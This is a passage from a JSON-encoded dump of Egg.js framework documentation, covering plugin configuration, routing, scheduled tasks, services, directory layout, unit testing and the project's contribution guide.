plugin.js\n// Use mysql plugin\nexports.mysql = {\n  enable: true,\n  package: 'egg-mysql',\n};\n```\n\nYou can directly use the functionality provided by the plugin:\n\n```js\napp.mysql.query(sql, values);\n```\n\n### Configuring Plugins\n\nEach configuration item in `plugin.js` supports:\n\n- `{Boolean} enable` - Whether to enable this plugin, the default is true\n- `{String} package` -`npm` module name, plugin is imported via `npm` module\n- `{String} path` - The plugin's absolute path, mutually exclusive with package configuration\n- `{Array} env` - Only enable plugin in the specified runtime (environment), overriding the plugin's own configuration in `package.json`\n\n### Enabling/Disabling plugins\n\nThe application does not need the package or path configuration when using the plugins built in the upper framework. You only need to specify whether they are enabled or not:\n\n```js\n// For the built-in plugin, you can use the following simple way to turn on or off\nexports.onerror = false;\n```\n\n### Environment Configuration\n\nWe also support `plugin.{Env}.js`, which will load plugin configurations based on [Runtime](../basics/env.md).\n\nFor example, if you want to load the plugin `egg-dev` only in the local environment, you can install it to `devDependencies` and adjust the plugin configuration accordingly.\n\n```js\n// npm i egg-dev --save-dev\n// package.json\n{\n  \"devDependencies\": {\n    \"egg-dev\": \"*\"\n  }\n}\n```\n\nThen declare in `plugin.local.js`:\n\n```js\n// config / plugin.local.js\nexports.dev = {\n  enable: true,\n  package: 'egg-dev',\n};\n```\n\nIn this way, `npm i --production` in the production environment does not need to download the`egg-dev` package.\n\n**Note:**\n\n- `plugin.default.js` does not exists. Use `local` for dev environments.\n\n- Use this feature only in the application layer. Do not use it in the framework layer.\n\n### Package Name and Path\n\n- The `package` is introduced in the `npm` style which is the most common way to import\n- `path` is an absolute path introduced when you want to load the plugin from different location such as when a plugin is still at the development stage or not available on `npm`\n- To see the application of these two scenarios, please see [progressive development](../intro/progressive.md).\n\n```js\n// config / plugin.js\nconst path = require('path');\nexports.mysql = {\n  enable: true,\n  path: path.join(__dirname, '../lib/plugin/egg-mysql'),\n};\n```\n\n## Plugin Configuration\n\nThe plugin will usually contain its own default configuration, you can overwrite this in `config.default.js`:\n\n```js\n// config / config.default.js\nexports.mysql = {\n  client: {\n    host: 'mysql.com',\n    port: '3306',\n    user: 'test_user',\n    password: 'test_password',\n    database: 'test',\n  },\n};\n```\n\nSpecific consolidation rules can be found in [Configuration](./config.md).\n\n## Plugin List\n\n- Framework has default built-in plugins for enterprise applications [Common plugins](https://eggjs.org/zh-cn/plugins/):\n    - [onerror](https://github.com/eggjs/onerror) Uniform Exception Handling\n    - [session](https://github.com/eggjs/session) Session implementation\n    - [i18n](https://github.com/eggjs/i18n) Multilingual\n    - [watcher](https://github.com/eggjs/watcher) File and folder monitoring\n    - [multipart](https://github.com/eggjs/multipart) File Streaming Upload\n    - [security](https://github.com/eggjs/security) Security\n    - [development](https://github.com/eggjs/development) Development Environment Configuration\n    - [logrotator](https://github.com/eggjs/logrotator) Log segmentation\n    - [schedule](https://github.com/eggjs/schedule) Timing tasks\n    - [static](https://github.com/eggjs/static) Static server\n    - [jsonp](https://github.com/eggjs/jsonp) jsonp support\n    - [view](https://github.com/eggjs/egg-view) Template Engine\n- More community plugins can be found on GitHub [egg-plugin](https://github.com/topics/egg-plugin).\n\n## Developing a Plugin\n\nSee the documentation [plugin development](../advanced/plugin.md).\n"
  },
  {
    "path": "site/docs/basics/router.md",
    "content": "---\ntitle: Router\norder: 6\n---\n\nRouter is mainly used to describe the corresponding relationship between the request URL and the Controller that processes the request eventually. All routing rules are unified in the `app/router.js` file by the framework.\n\nBy unifying routing rules, we can avoid the routing logics scattered in many places which may cause many unknown conflicts, and we can more easily check global routing rules.\n\n## How to Define Router\n\n- Define the routing rule in `app/router.js` file\n\n```js\n// app/router.js\nmodule.exports = (app) => {\n  const { router, controller } = app;\n  router.get('/user/:id', controller.user.info);\n};\n```\n\n- Implement the Controller in `app/controller` directory\n\n```js\n// app/controller/user.js\nclass UserController extends Controller {\n  async info() {\n    const { ctx } = this;\n    ctx.body = {\n      name: `hello ${ctx.params.id}`,\n    };\n  }\n}\n```\n\nThis simplest Router is done by now, when users do the request `GET /user/123`, the info function in `user.js` will be invoked.\n\n## Router Config in Detail\n\nBelow is the complete definition of router, parameters can be determined depending on different scenes.\n\n```js\nrouter.verb('path-match', app.controller.action);\nrouter.verb('router-name', 'path-match', app.controller.action);\nrouter.verb('path-match', middleware1, ..., middlewareN, app.controller.action);\nrouter.verb('router-name', 'path-match', middleware1, ..., middlewareN, app.controller.action);\n```\n\nThe complete definition of router includes 5 major parts:\n\n- verb - actions that users trigger, including get, post and so on, and will be explained in detail later.\n  - router.head - HEAD\n  - router.options - OPTIONS\n  - router.get - GET\n  - router.put - PUT\n  - router.post - POST\n  - router.patch - PATCH\n  - router.delete - DELETE\n  - router.del - this is a alias method due to the reservation of delete.\n  - router.redirect - redirects the request URL. For example, the most common case is to redirect the request accessing the root directory to the homepage.\n- router-name defines a alias for the route, and URL can be generated by helper method `pathFor` and `urlFor` provided by Helper. (Optional)\n- path-match - URL path of the route.\n- middleware1 - multiple Middlewares can be configured in Router. (Optional)\n- controller - set the route to map to the specific controller, and the controller can be written in two types:\n  - `app.controller.user.fetch` - directly point to a controller\n  - `'user.fetch'` - simplified as a string,\n\n### Notices\n\n- multiple Middlewares can be configured to execute serially in Router definition\n- Controller must be defined under `app/controller` directory\n- multiple Controllers can be defined within one file, and the specific one can be specified in the form of `${fileName}.${functionName}` when defining the routing rule.\n- Controller supports sub-directories, and the specific one can be specified in the form of `${directoryName}.${fileName}.${functionName}` when defining the routing rule.\n\nHere are some examples of writing routing rules:\n\n```js\n// app/router.js\nmodule.exports = (app) => {\n  const { router, controller } = app;\n  router.get('/home', controller.home);\n  router.get('/user/:id', controller.user.page);\n  router.post('/admin', isAdmin, controller.admin);\n  router.post('/user', isLoginUser, hasAdminPermission, controller.user.create);\n  router.post('/api/v1/comments', controller.v1.comments.create); // app/controller/v1/comments.js\n};\n```\n\n### RESTful Style URL Definition\n\nWe provide `app.router.resources('routerName', 'pathMatch', 'controller')` to generate [CRUD](https://en.wikipedia.org/wiki/Create,_read,_update_and_delete) structures on a path for convenience if you prefer the RESTful style URL definition.\n\n```js\n// app/router.js\nmodule.exports = (app) => {\n  const { router, controller } = app;\n  router.resources('posts', '/posts', controller.posts);\n  router.resources('users', '/api/v1/users', controller.v1.users); // app/controller/v1/users.js\n};\n```\n\nThe codes above produce a bunch of CRUD path structures for Controller `app/controller/posts.js`, and the only thing you should do next is to implement related functions in `posts.js`.\n\n| Method | Path            | Route Name | Controller.Action             |\n| ------ | --------------- | ---------- | ----------------------------- |\n| GET    | /posts          | posts      | app.controllers.posts.index   |\n| GET    | /posts/new      | new_post   | app.controllers.posts.new     |\n| GET    | /posts/:id      | post       | app.controllers.posts.show    |\n| GET    | /posts/:id/edit | edit_post  | app.controllers.posts.edit    |\n| POST   | /posts          | posts      | app.controllers.posts.create  |\n| PATCH  | /posts/:id      | post       | app.controllers.posts.update  |\n| DELETE | /posts/:id      | post       | app.controllers.posts.destroy |\n\n```js\n// app/controller/posts.js\nexports.index = async () => {};\n\nexports.new = async () => {};\n\nexports.create = async () => {};\n\nexports.show = async () => {};\n\nexports.edit = async () => {};\n\nexports.update = async () => {};\n\nexports.destroy = async () => {};\n```\n\nMethods that are not needed may not be implemented in `posts.js` and the related URL paths will not be registered to Router neither.\n\n## Router in Action\n\nMore practical examples will be shown below to demonstrate how to use the router.\n\n#### Acquiring Parameters\n\n#### Via Query String\n\n```js\n// app/router.js\nmodule.exports = (app) => {\n  app.router.get('/search', app.controller.search.index);\n};\n\n// app/controller/search.js\nexports.index = async (ctx) => {\n  ctx.body = `search: ${ctx.query.name}`;\n};\n\n// curl http://127.0.0.1:7001/search?name=egg\n```\n\n#### Via Named Parameters\n\n```js\n// app/router.js\nmodule.exports = (app) => {\n  app.router.get('/user/:id/:name', app.controller.user.info);\n};\n\n// app/controller/user.js\nexports.info = async (ctx) => {\n  ctx.body = `user: ${ctx.params.id}, ${ctx.params.name}`;\n};\n\n// curl http://127.0.0.1:7001/user/123/xiaoming\n```\n\n#### Acquiring Complex Parameters\n\nRegular expressions, as well, can be used in routing rules to acquire parameters more flexibly:\n\n```js\n// app/router.js\nmodule.exports = (app) => {\n  app.router.get(\n    /^\\/package\\/([\\w-.]+\\/[\\w-.]+)$/,\n    app.controller.package.detail,\n  );\n};\n\n// app/controller/package.js\nexports.detail = async (ctx) => {\n  // If the request URL is matched by the regular expression, parameters can be acquired from ctx.params according to the capture group orders.\n  // For the user request below, for example, the value of `ctx.params[0]` is `egg/1.0.0`\n  ctx.body = `package:${ctx.params[0]}`;\n};\n\n// curl http://127.0.0.1:7001/package/egg/1.0.0\n```\n\n### Acquiring Form Contents\n\n```js\n// app/router.js\nmodule.exports = (app) => {\n  app.router.post('/form', app.controller.form.post);\n};\n\n// app/controller/form.js\nexports.post = async (ctx) => {\n  ctx.body = `body: ${JSON.stringify(ctx.request.body)}`;\n};\n\n// simulate a post request.\n// curl -X POST http://127.0.0.1:7001/form --data '{\"name\":\"controller\"}' --header 'Content-Type:application/json'\n```\n\n> P.S.:\n\n> If you perform a POST request directly, an **error** will occur: 'secret is missing'. This error message comes from [koa-csrf/index.js#L69](https://github.com/koajs/csrf/blob/2.5.0/index.js#L69).\n\n> **Reason**: the framework verifies the CSRF value specially for form POST requests, so please submit the CSRF key as well when you submit a form. Refer to [Keep Away from CSRF Threat](https://eggjs.org/zh-cn/core/security.html#安全威胁csrf的防范) for more detail.\n\n> **Note**: the verification is performed because the framework builds in a security plugin [@eggjs/security](https://github.com/eggjs/security) that provides some default security practices and this plugin is enabled by default. In case you want to disable some security protections, just set the enable attribute to false.\n\n> \"Unless you clearly confirm the consequence, it's not recommended to disable functions provided by the security plugin\"\n\n> Here we do the config temporarily in `config/config.default.js` for an example\n\n```\nexports.security = {\n  csrf: false\n};\n```\n\n### Form Verification\n\n```js\n// app/router.js\nmodule.exports = (app) => {\n  app.router.post('/user', app.controller.user);\n};\n\n// app/controller/user.js\nconst createRule = {\n  username: {\n    type: 'email',\n  },\n  password: {\n    type: 'password',\n    compare: 're-password',\n  },\n};\n\nexports.create = async (ctx) => {\n  // throws exceptions if the verification fails\n  ctx.validate(createRule);\n  ctx.body = ctx.request.body;\n};\n\n// curl -X POST http://127.0.0.1:7001/user --data 'username=abc@abc.com&password=111111&re-password=111111'\n```\n\n### Redirection\n\n#### Internal Redirection\n\n```js\n// app/router.js\nmodule.exports = (app) => {\n  app.router.get('index', '/home/index', app.controller.home.index);\n  app.redirect('/', '/home/index', 302);\n};\n\n// app/controller/home.js\nexports.index = async (ctx) => {\n  ctx.body = 'hello controller';\n};\n\n// curl -L http://localhost:7001\n```\n\n#### External Redirection\n\n```js\n// app/router.js\nmodule.exports = (app) => {\n  app.router.get('/search', app.controller.search.index);\n};\n\n// app/controller/search.js\nexports.index = async (ctx) => {\n  const type = ctx.query.type;\n  const q = ctx.query.q || 'nodejs';\n\n  if (type === 'bing') {\n    ctx.redirect(`http://cn.bing.com/search?q=${q}`);\n  } else {\n    ctx.redirect(`https://www.google.co.kr/search?q=${q}`);\n  }\n};\n\n// curl http://localhost:7001/search?type=bing&q=node.js\n// curl http://localhost:7001/search?q=node.js\n```\n\n### Using Middleware\n\nA middleware can be used to change the request parameter to uppercase.\nHere we just briefly explain how to use the middleware, and refer to [Middleware](./middleware.md) for detail.\n\n```js\n// app/controller/search.js\nexports.index = async (ctx) => {\n  ctx.body = `search: ${ctx.query.name}`;\n};\n\n// app/middleware/uppercase.js\nmodule.exports = () => {\n  return async function uppercase(ctx, next) {\n    ctx.query.name = ctx.query.name && ctx.query.name.toUpperCase();\n    await next();\n  };\n};\n\n// app/router.js\nmodule.exports = (app) => {\n  app.router.get(\n    's',\n    '/search',\n    app.middleware.uppercase(),\n    app.controller.search,\n  );\n};\n\n// curl http://localhost:7001/search?name=egg\n```\n\n### Too Many Routing Maps?\n\nAs described above, we do not recommend that you scatter routing logics all around, or it will bring trouble in trouble shooting.\n\nIf there is a need for some reasons, you can split routing rules like below:\n\n```js\n// app/router.js\nmodule.exports = (app) => {\n  require('./router/news')(app);\n  require('./router/admin')(app);\n};\n\n// app/router/news.js\nmodule.exports = (app) => {\n  app.router.get('/news/list', app.controller.news.list);\n  app.router.get('/news/detail', app.controller.news.detail);\n};\n\n// app/router/admin.js\nmodule.exports = (app) => {\n  app.router.get('/admin/user', app.controller.admin.user);\n  app.router.get('/admin/log', app.controller.admin.log);\n};\n```\n\nor using [egg-router-plus](https://github.com/eggjs/egg-router-plus).\n"
  },
  {
    "path": "site/docs/basics/schedule.md",
    "content": "# Schedule Controller\n\n## Use Cases\n\nSupports regular scheduled tasks that will execute on every deployed machine.\n\n## Usage\n\n:::warning\n⚠️ Note: **<font style=\"color:#DF2A3F;\">Do not place your code in the `app/schedule` path</font>**, because Egg scans this path by default to register scheduled tasks, which will conflict with the decorator-based approach.\n:::\n\n### Regular Scheduled Tasks\n\nRegular scheduled tasks will execute the scheduling logic on every deployed machine. For example, if an application is typically deployed on at least 2 machines in a production environment, the scheduled task will run on both machines.\n\nUse the `Schedule` decorator to mark a class as a scheduled task controller. The class must contain a method named `subscribe`. When the framework schedules the task execution, it will call the `subscribe` method of the `Schedule` annotated class.\n\n#### Enable Plugin\n\nBuilt-in plugin, enabled by default.\n\n```typescript\nexport default {\n  teggSchedule: true,\n};\n```\n\n#### Interval Mode\n\nRegular scheduled tasks can be configured in `interval` mode, which means they execute once on each machine at specified intervals. The interval is set through the `scheduleData.interval` parameter of the `Schedule` decorator.\n\n- When `interval` is a number type, the unit is milliseconds, e.g., `100`.\n- When `interval` is a string type, it will be converted to milliseconds using [ms](https://github.com/vercel/ms), e.g., `5s`.\n\n```typescript\n// app/port/schedule/Demo.ts\nimport { Inject, Logger } from 'egg';\nimport { IntervalParams, Schedule, ScheduleType } from 'egg/schedule';\n\n@Schedule<IntervalParams>({\n  type: ScheduleType.WORKER,\n  scheduleData: {\n    interval: 100, // Execute every 100ms\n    // interval: '5s', // Execute every 5s\n  },\n})\nexport class IntervalScheduler {\n  @Inject()\n  private logger: Logger;\n\n  async subscribe() {\n    this.logger.info('schedule called');\n  }\n}\n```\n\n#### Cron Mode\n\nRegular scheduled tasks also support cron expression mode, which executes scheduled tasks according to cron expression rules. For cron expression syntax, please refer to [cron-parser](https://github.com/harrisiirak/cron-parser).\n\n```text\n*    *    *    *    *    *\n┬    ┬    ┬    ┬    ┬    ┬\n│    │    │    │    │    |\n│    │    │    │    │    └ day of week (0 - 7) (0 or 7 is Sun)\n│    │    │    │    └───── month (1 - 12)\n│    │    │    └────────── day of month (1 - 31)\n│    │    └─────────────── hour (0 - 23)\n│    └──────────────────── minute (0 - 59)\n└───────────────────────── second (0 - 59, optional)\n```\n\nFor example, the following code will execute once daily at 3 AM on each machine.\n\n```typescript\n// app/port/schedule/CronDemo.ts\nimport { Inject, Logger } from 'egg';\nimport { CronParams, Schedule, ScheduleType } from 'egg/schedule';\n\n@Schedule<CronParams>({\n  type: ScheduleType.WORKER,\n  scheduleData: {\n    // Execute once daily at 3 AM\n    cron: '0 0 3 * * *',\n    // Execute every 5 seconds\n    // cron: '*/5 * * * * *',\n  },\n})\nexport class CronSubscriber {\n  @Inject()\n  private logger: Logger;\n\n  async subscribe() {\n    this.logger.info('schedule called');\n  }\n}\n```\n\n#### Worker Mode\n\nRegular scheduled tasks generally use `worker` mode, which means only one worker on each machine will execute the scheduled task. The framework also provides an `all` mode option for scenarios where all workers on each machine need to execute the scheduled task.\n\n- `worker` mode: Only one worker on each machine will execute this scheduled task. The worker that executes the task each time is selected **randomly**.\n- `all` mode: Every worker on each machine will execute this scheduled task.\n\n```typescript\nimport { Inject, Logger } from 'egg';\nimport { IntervalParams, Schedule, ScheduleType } from 'egg/schedule';\n\n@Schedule<IntervalParams>({\n  type: ScheduleType.ALL, // All workers will execute\n  scheduleData: {\n    interval: 100,\n  },\n})\nexport class AllScheduler {\n  @Inject()\n  private logger: Logger;\n\n  async subscribe() {\n    this.logger.info('schedule called');\n  }\n}\n```\n\n#### Scheduled Task Parameters\n\nThe `Schedule` decorator for regular scheduled tasks supports a second parameter to specify task runtime parameters.\n\n- `immediate`: When set to true, the scheduled task will execute once immediately after the application starts and becomes ready.\n- `disable`: When set to true, the scheduled task will not be started.\n- `env`: An array specifying that the scheduled task should only start in specific environments.\n\n```typescript\nimport { Inject, Logger } from 'egg';\nimport { IntervalParams, Schedule, ScheduleType } from 'egg/schedule';\n\n@Schedule<IntervalParams>(\n  {\n    type: ScheduleType.WORKER,\n    scheduleData: {\n      interval: 100,\n    },\n  },\n  {\n    immediate: true, // Execute once immediately after app starts and becomes ready\n    // disable: true, // When true, the scheduled task will not start\n    env: ['devserver', 'test'], // Only run in offline environments\n  },\n)\nexport class ParamScheduler {\n  @Inject()\n  private logger: Logger;\n\n  async subscribe() {\n    this.logger.info('schedule called');\n  }\n}\n```\n"
  },
  {
    "path": "site/docs/basics/service.md",
    "content": "---\ntitle: Service\norder: 8\n---\n\n# Service\n\n> ⚠️ **Translation in Progress**: This page is being translated. For now, please refer to the [Chinese version](/zh-CN/basics/service).\n\nService is an abstraction layer for encapsulating business logic in complex business scenarios. It provides the following advantages:\n\n- Keeps Controller logic simpler\n- Maintains business logic independence - Services can be reused by multiple Controllers\n- Separates logic from presentation, making it easier to write test cases\n\n## Usage Scenarios\n\n- Data processing: When information needs to be retrieved from a database and calculated before displaying to users\n- Third-party service calls: Such as fetching GitHub information\n\n## Defining a Service\n\n```js\n// app/service/user.js\nconst Service = require('egg').Service;\n\nclass UserService extends Service {\n  async find(uid) {\n    const user = await this.ctx.db.query(\n      'select * from user where uid = ?',\n      uid,\n    );\n    return user;\n  }\n}\n\nmodule.exports = UserService;\n```\n\n## Properties\n\nEach Service instance has access to:\n\n- `this.ctx`: Current request [Context](./extend.md#context) object\n- `this.app`: Current [Application](./extend.md#application) object\n- `this.service`: Access to other Services\n- `this.config`: Application [configuration](./config.md)\n- `this.logger`: Logger object for debugging\n\nFor more details, please refer to the [Chinese documentation](/zh-CN/basics/service).\n"
  },
  {
    "path": "site/docs/basics/structure.md",
    "content": "# Directory Structure\n\nIn the [Quick Start](../intro/quickstart.md), you should have gained a preliminary impression of the framework. Next, let's briefly understand the directory conventions.\n\n```bash\negg-project\n├── package.json\n├── app.ts (optional)\n├── agent.ts (optional)\n├── app\n│   ├── controller\n│   │   ├── http\n│   │   │   ├── HomeController.ts\n│   │   │   └── UserController.ts\n│   │   ├── rpc\n│   │   │   └── UserRPCController.ts\n│   │   ├── mcp\n│   │   │   └── MyMCPController.ts\n│   │   └── schedule\n│   │       └── MyTaskController.ts\n│   ├── service (optional)\n│   │   └── UserService.ts\n│   ├── middleware (optional)\n│   │   └── ResponseTimeMiddleware.ts\n│   ├── public (optional)\n│   │   └── reset.css\n│   ├── view (optional)\n│   │   └── home.tpl\n│   └── extend (optional)\n│       ├── helper.ts (optional)\n│       ├── request.ts (optional)\n│       ├── response.ts (optional)\n│       ├── context.ts (optional)\n│       ├── application.ts (optional)\n│       └── agent.ts (optional)\n├── config\n|   ├── plugin.ts\n|   ├── config.default.ts\n│   ├── config.prod.ts\n|   ├── config.test.ts (optional)\n|   ├── config.local.ts (optional)\n|   └── config.unittest.ts (optional)\n└── test\n    ├── middleware\n    |   └── ResponseTimeMiddleware.test.ts\n    └── controller\n           ├── http\n           │   └── HomeController.test.ts\n           ├── mcp\n           │   └── MyMCPController.test.ts\n           └── schedule\n               └── MyTaskController.test.ts\n```\n\nAs shown above, directories defined by framework conventions:\n\n- `app/controller/**` - Used to parse user input, process it, and return corresponding results. See [Controller](./controller.md) for details.\n- `app/service/**` - Used to write business logic layer. Recommended for use. See [Service](./service.md) for details.\n- `app/middleware/**` - Used to write middleware. See [Middleware](./middleware.md) for details.\n- `app/public/**` - Used to place static resources. See the built-in plugin [@eggjs/static](https://github.com/eggjs/egg/tree/next/plugins/static) for details.\n- `app/extend/**` - Used for framework extensions. See [Framework Extension](./extend.md) for details.\n- `config/config.{env}.ts` - Used to write configuration files. See [Configuration](./config.md) for details.\n- `config/plugin.ts` - Used to configure plugins to be loaded. See [Plugin](./plugin.md) for details.\n- `test/**` - Used for unit testing. See [Unit Testing](../core/unittest.md) for details.\n- `app.ts` and `agent.ts` - Used to customize initialization work at startup. See [Startup Customization](./app-start.md) for details. For the role of `agent.ts`, see [Agent Mechanism](../core/cluster-and-ipc.md#agent-mechanism).\n\nDirectories defined by built-in plugin conventions:\n\n- `app/public/**` - Used to place static resources. See the built-in plugin [@eggjs/static](https://github.com/eggjs/egg/tree/next/plugins/static) for details.\n\n**To customize your own directory conventions, see [Loader](../advanced/loader.md)**\n\n- `app/view/**` - Used to place template files. See [Template Rendering](../core/view.md) for details.\n- `app/model/**` - Used to place domain models, such as domain-related plugins like [`egg-sequelize`](https://github.com/eggjs/egg-sequelize).\n"
  },
  {
    "path": "site/docs/basics/unittest.md",
    "content": "---\ntitle: Unit Testing\norder: 13\n---\n\n# Unit Testing\n\nUnit testing is an important part of application development. Egg provides comprehensive testing support through the `@eggjs/mock` package and [Vitest](https://vitest.dev) as the test runner (via `@eggjs/bin` v8+).\n\n## Quick Start\n\n```ts\nimport { app } from '@eggjs/mock/bootstrap';\nimport assert from 'node:assert';\n\ndescribe('test/app/controller/home.test.ts', () => {\n  it('should GET /', async () => {\n    const result = await app.httpRequest().get('/').expect(200);\n\n    assert(result.text === 'hi, egg');\n  });\n});\n```\n\n## Testing Tools\n\n- **@eggjs/mock**: Provides mocking utilities for testing\n- **vitest**: Test runner with native TypeScript support (used internally by egg-bin)\n- **supertest**: HTTP assertion library\n- **assert**: Node.js assertion library\n\n## egg-bin Test Features\n\nWhen running tests via `egg-bin test`, the following are configured automatically:\n\n- **Vitest globals** (`describe`, `it`, `beforeAll`, etc.) are injected — no imports needed in JS files\n- **`test/.setup.ts`** (or `.setup.js`) is auto-loaded as a vitest setup file\n- **`@eggjs/mock/setup_vitest`** is auto-injected for egg applications, handling app lifecycle (`beforeAll` / `afterEach` / `afterAll`)\n\nFor comprehensive unit testing documentation, please see:\n\n- [Core Unit Testing Guide](/core/unittest)\n- [Chinese Documentation](/zh-CN/basics/unittest)\n"
  },
  {
    "path": "site/docs/community/CONTRIBUTING.md",
    "content": "---\ntitle: Contribution Guide\n---\n\nIf you have any comment or advice, please report your [issue](https://github.com/eggjs/egg/issues),\nor make any change as you wish and submit a [PR](https://github.com/eggjs/egg/pulls).\n\n## Reporting New Issues\n\n- Please specify what kind of issue it is.\n- Before you report an issue, please search for related issues. Make sure you are not going to open a duplicate issue.\n- Explain your purpose clearly in tags(see **Useful Tags**), title, or content.\n\nEgg group members will confirm the purpose of the issue, replace more accurate tags for it, identify related milestone, and assign developers working on it.\nTags can be divided into two groups, `type` and `scope`.\n\n- type: What kind of issue, e.g. `feature`, `bug`, `documentation`, `performance`, `support` ...\n- scope: What did you modified. Which files are modified, e.g. `core: xx`, `plugin: xx`, `deps: xx`\n\n### Useful Tags\n\n- `support`: the issue asks helps from developers of our group. If you need helps to locate and handle problems or have any idea to improve Egg, mark it as `support`.\n- `bug`: if you find a problem which possiblly could be a bug, please tag it as `bug`. Then our group members will review that issue. If it is confirmed as a bug by our group member, this issue will be tagged as `confirmed`.\n  - A confirmed bug will be resolved prior.\n  - If the bug has negative impact on running online application, it will be tagged as `critical`, which refers to top priority, and will be fixed ASAP!\n  - A bug will be fixed from lowest necessary version, e.g. A bug needs to be fixed from 0.9.x, then this issue will be tagged as `0.9`, `0.10`, `1.0`, `1.1`, referring that the bug is required to be fixed in those versions.\n- `core: xx`: the issue is related to core, e.g. `core: loader` refers that the issue is related with `loader` config.\n- `plugin: xx`: the issue is related to plugins. e.g. `plugin: session` refers that the issue is related to `session` plugin.\n- `deps: xx`: the issue is related to `dependencies`, e.g. `deps:egg-cors` refers that the issue is related to `egg-cors`\n- `chore: documentation`: the issue is about documentation. Need to modify documentation.\n\n## Documentation\n\nAll features must be submitted along with documentations. The documentations should satify several requirements.\n\n- Documentations must clarify one or more aspects of the feature, depending on the nature of feature: what it is, why it happens and how it works.\n- It's better to include a series of procedues to explain how to fix the problem. You are also encourgaed to provide **simple, but self-explanatory** demo.\n  All demos should be compiled at [eggjs/examples](https://github.com/eggjs/examples) repository.\n- Please provide essential urls, such as application process, terminology explainations and references.\n\n## Submitting Code\n\n### Pull Request Guide\n\nIf you are developer of egg repo and you are willing to contribute, feel free to create a new branch, finish your modification and submit a PR. Egg group will review your work and merge it to master branch.\n\n```bash\n# Create a new branch for development. The name of branch should be semantic, avoiding words like 'update' or 'tmp'. We suggest to use feature/xxx, if the modification is about to implement a new feature.\n$ git checkout -b branch-name\n\n# Run the test after you finish your modification. Add new test cases or change old ones if you feel necessary\n$ npm test\n\n# If your modification pass the tests, congradulations it's time to push your work back to us. Notice that the commit message should be wirtten in the following format.\n$ git add . # git add -u to delete files\n$ git commit -m \"fix(role): role.use must xxx\"\n$ git push origin branch-name\n```\n\nThen you can create a Pull Request at [egg](https://github.com/eggjs/egg/pulls)\n\nNo one can garantee how much will be remembered about certain PR after some time. To make sure we can easily recap what happened previously, please provide the following information in your PR.\n\n1. Need: What function you want to achieve (Generally, please point out which issue is related).\n2. Updating Reason: Different with issue. Briefly describe your reason and logic about why you need to make such modification.\n3. Related Testing: Briefly descirbe what part of testing is relevant to your modification.\n4. User Tips: Notice for Egg users. You can skip this part, if the PR is not about update in API or potential compatibility problem.\n\n### Style Guide\n\nEslint can help to identify styling issues that may exist in your code. Your code is required to pass the test from eslint. Run the test locally by `$ npm run lint`.\n\n### Commit Message Format\n\nYou are encouraged to use [angular commit-message-format](https://github.com/angular/angular.js/blob/master/DEVELOPERS.md#-git-commit-guidelines) to write commit message. In this way, we could have a more trackable history and an automatically generated changelog.\n\n```xml\n<type>(<scope>): <subject>\n<BLANK LINE>\n<body>\n<BLANK LINE>\n<footer>\n```\n\n（1）type\n\nMust be one of the following:\n\n- feat: A new feature\n- fix: A bug fix\n- docs: Documentation-only changes\n- style: Changes that do not affect the meaning of the code (white-space, formatting, missing semi-colons, etc)\n- refactor: A code change that neither fixes a bug nor adds a feature\n- perf: A code change that improves performance\n- test: Adding missing tests\n- chore: Changes to the build process or auxiliary tools and libraries such as documentation generation\n- deps: Updates about dependencies\n\n（2）scope\n\nThe scope could be anything specifying place of the commit change. For example $location, $browser, $compile, $rootScope, ngHref, ngClick, ngView, etc...\n\n（3）subject\n\nUse succinct words to describe what did you do in the commit change.\n\n（4）body\n\nFeel free to add more content in the body, if you think subject is not self-explanatory enough, such as what it is the purpose or reasone of you commit.\n\n（5）footer\n\n- **If the commit is a Breaking Change, please note it clearly in this part.**\n- related issues, like `Closes #1, Closes #2, #3`\n- If there is a change about an old feaure or a new feature, please associate `doc` and `egg-core`, like `eggjs/egg-core#123`\n\ne.g.\n\n```\nfix($compile): [BREAKING_CHANGE] couple of unit tests for IE9\n\nOlder IEs serialize html uppercased, but IE9 does not...\nWould be better to expect case insensitive, unfortunately jasmine does\nnot allow to user regexps for throw expectations.\n\nDocument change on eggjs/egg#123\n\nCloses #392\n\nBREAKING CHANGE:\n\n  Breaks foo.bar api, foo.baz should be used instead\n```\n\nLook at [these files](https://docs.google.com/document/d/1QrDFcIiPjSLDn3EL15IJygNPiHORgU1_OOAqWjiDU5Y/edit) for more details.\n\n### Principles of English Translations\n\nWe follow the normal principles of English articles when translating, however, due to there're some special principles of titles, we should follow these rules:\n\n- For nouns, verbs, pronouns, adjectives and adverbs, capitalize the first character. For prepsitions, articles, conjections, interjections and auxiliary words, the first character should be in lowercase. **the character of the first word and the last word for title should be capitalized, regardless of what it is**.\n- For proper nouns such as the direct reference of a variable or the name of a plugin, we must use backtick (underneath the 'Esc') to surround them and keep what they are in origin.\n- For prepsitions more than 5 characters, their first characters should be also capitalized, otherwise not.\n- For some very important titles or some fixed proper nouns such as methods of Http: POST,GET,PUT,DELETE, every charater can be capitalized (USE WITH CAUTION).\n- If the article belongs to the form of O-V (Object-Verb) such as \"Config Management\", we'd better translate it as \"Management Configuration\", or \"Managing Configuration\" in the form of \"gerund+noun\".\n- If your title is taken as a sentence, write in 'Sentence Case' (e.g: In FAQ, each title is actually an English sentence).\n\nFor more info, please refer [English Title Case].\n\n## Release Management\n\nEgg uses semantic versioning in release process based on [semver].\n\n### Branch Strategy\n\n`master` branch is the latest stable version. `next` branch is the next stable version working in progress.\n\n- All new features will be added into `master` or `next` branch as well as all bug-fix except security issues. In such way, we can motivate developers to update to the latest stable version.\n- If any API is discarded, it should be noted with `deprecate` in current stable version. The old version of API should be compatiable until the release of next stable version.\n- `master` branch doesn't have publish tag. High-level framework can work with stable versions defined by semantic versioning.\n- `next` branch is labelled with `next` tag, high-level framework can use `egg@next` to test the in-progress version.\n- The LTS versions of Egg determined by Milestone. If a version is listed in Milestone, then it is a LTS version. We will patch it if there is any problem with it.\n\n### Release Strategy\n\nIn the release of every stable version, there will be a PM who has the following responsibilities in different stages of the release.\n\n#### Preparation\n\n- Set up milestone. Confirm that request is related to milestone. Assign and update issues, like [1.x milestone].\n- Create a `next` branch from `master` branch and tag it as `next`.\n\n#### Before Release\n\n- Confirm that performance test is passed and all issues in current Milestone are either closed or can be delayed to later versions.\n- Open a new [Release Proposal MR], and write `History` as [node CHANGELOG]. Don't forget to correct content in documentation which is related to the releasing version. Commits can be generated automatically.\n  ```bash\n  $ npm run commits\n  ```\n- Nominate PM for next stable version.\n\n#### During Release\n\n- Back up the stable version (master) onto the branch named after the current major (e.g: `1.x`), and set the tag to `release-{v}.x` (v is the current version like `release-1.x`).\n- Push the `next` branch to `master`, make it to the last stable one and remove `next` tag, change the contents corresponding to the branch in README.\n- Publish the latest stable version to [npm], and notify the previous framework to be upgraded.\n- 